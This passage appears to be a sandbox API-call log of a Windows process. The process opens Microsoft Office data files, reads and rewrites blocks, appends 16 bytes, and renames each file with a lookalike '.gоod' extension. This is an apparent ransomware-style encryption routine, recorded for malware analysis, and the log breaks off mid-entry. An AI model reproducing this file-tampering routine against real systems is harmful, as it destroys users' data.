GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0147.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0147.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0147.848] GetFileType (hFile=0x7dc) returned 0x1 [0147.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0147.848] GetFileType (hFile=0x7dc) returned 0x1 [0147.848] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0147.848] ReadFile (in: hFile=0x7dc, lpBuffer=0x37e4040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37e4040*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0147.850] CloseHandle (hObject=0x7dc) returned 1 [0147.850] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0147.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0147.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0147.850] GetFileType (hFile=0x7dc) returned 0x1 [0147.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0147.850] GetFileType (hFile=0x7dc) returned 0x1 [0147.850] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x6af1e [0147.850] WriteFile (in: hFile=0x7dc, lpBuffer=0x37e5370*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x37e5370*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0148.131] CloseHandle (hObject=0x7dc) returned 1 [0148.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0148.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.166] GetFileType (hFile=0x7dc) returned 0x1 [0148.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.166] GetFileType (hFile=0x7dc) returned 0x1 [0148.166] ReadFile (in: hFile=0x7dc, lpBuffer=0x37c4f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x37c4f28*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0148.194] CloseHandle (hObject=0x7dc) returned 1 [0148.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0148.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.194] GetFileType (hFile=0x7dc) returned 0x1 [0148.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.195] GetFileType (hFile=0x7dc) returned 0x1 [0148.195] WriteFile (in: hFile=0x7dc, lpBuffer=0x3776de8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3776de8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0148.195] CloseHandle (hObject=0x7dc) returned 1 [0148.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0148.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x53 [0148.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0148.195] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf2391cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf2391cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x548a5f57, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6af2e)) returned 1 [0148.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0148.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0148.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0148.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0148.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3842738 | out: lpFileInformation=0x3842738*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2740)) returned 1 [0148.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0148.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0148.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.199] GetFileType (hFile=0x7dc) returned 0x1 [0148.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.200] GetFileType (hFile=0x7dc) returned 0x1 [0148.200] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0148.200] ReadFile (in: hFile=0x7dc, lpBuffer=0x3842bc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3842bc0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0148.378] CloseHandle (hObject=0x7dc) returned 1 [0148.378] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0148.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.378] GetFileType (hFile=0x7dc) returned 0x1 [0148.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.378] GetFileType (hFile=0x7dc) returned 0x1 [0148.378] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x2740 [0148.378] WriteFile (in: hFile=0x7dc, lpBuffer=0x374ea10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x374ea10*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0148.379] CloseHandle (hObject=0x7dc) returned 1 [0148.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0148.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.379] GetFileType (hFile=0x7dc) returned 0x1 [0148.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.380] GetFileType (hFile=0x7dc) returned 0x1 [0148.380] ReadFile (in: hFile=0x7dc, lpBuffer=0x3750d08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3750d08*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0148.407] CloseHandle (hObject=0x7dc) returned 1 [0148.407] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0148.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.407] GetFileType (hFile=0x7dc) returned 0x1 [0148.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.407] GetFileType (hFile=0x7dc) returned 0x1 [0148.407] WriteFile (in: hFile=0x7dc, lpBuffer=0x374fa28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x374fa28*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0148.408] CloseHandle (hObject=0x7dc) returned 1 [0148.408] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0148.408] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x53 [0148.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0148.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x54abc0fc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2750)) returned 1 [0148.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0148.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0148.409] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0148.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0148.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x37cdb18 | out: lpFileInformation=0x37cdb18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0335ea1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0335ea1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd03f4a77, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f36)) returned 1 [0148.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0148.409] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0148.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.410] GetFileType (hFile=0x7dc) returned 0x1 [0148.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.410] GetFileType (hFile=0x7dc) returned 0x1 [0148.410] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0148.410] ReadFile (in: hFile=0x7dc, lpBuffer=0x37cdf80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37cdf80*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0148.938] CloseHandle (hObject=0x7dc) returned 1 [0148.938] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0148.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.972] GetFileType (hFile=0x7dc) returned 0x1 [0148.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.972] GetFileType (hFile=0x7dc) returned 0x1 [0148.972] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x2f36 [0148.972] WriteFile (in: hFile=0x7dc, lpBuffer=0x38e8ca8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x38e8ca8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0148.973] CloseHandle (hObject=0x7dc) returned 1 [0148.973] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0148.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0148.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0148.973] GetFileType (hFile=0x7dc) returned 0x1 [0148.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0148.973] GetFileType (hFile=0x7dc) returned 0x1 [0148.973] ReadFile (in: hFile=0x7dc, lpBuffer=0x38eaf90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x38eaf90*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0149.096] CloseHandle (hObject=0x7dc) returned 1 [0149.096] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0149.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0149.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0149.098] GetFileType (hFile=0x7dc) returned 0x1 [0149.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0149.098] GetFileType (hFile=0x7dc) returned 0x1 [0149.098] WriteFile (in: hFile=0x7dc, lpBuffer=0x374f660*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x374f660*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0149.098] CloseHandle (hObject=0x7dc) returned 1 [0149.098] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0149.098] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x4e [0149.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0149.098] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0335ea1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0335ea1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x55163d91, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f46)) returned 1 [0149.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0149.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0149.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0149.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0149.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x377ded0 | out: lpFileInformation=0x377ded0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa06c0)) returned 1 [0149.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0149.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft 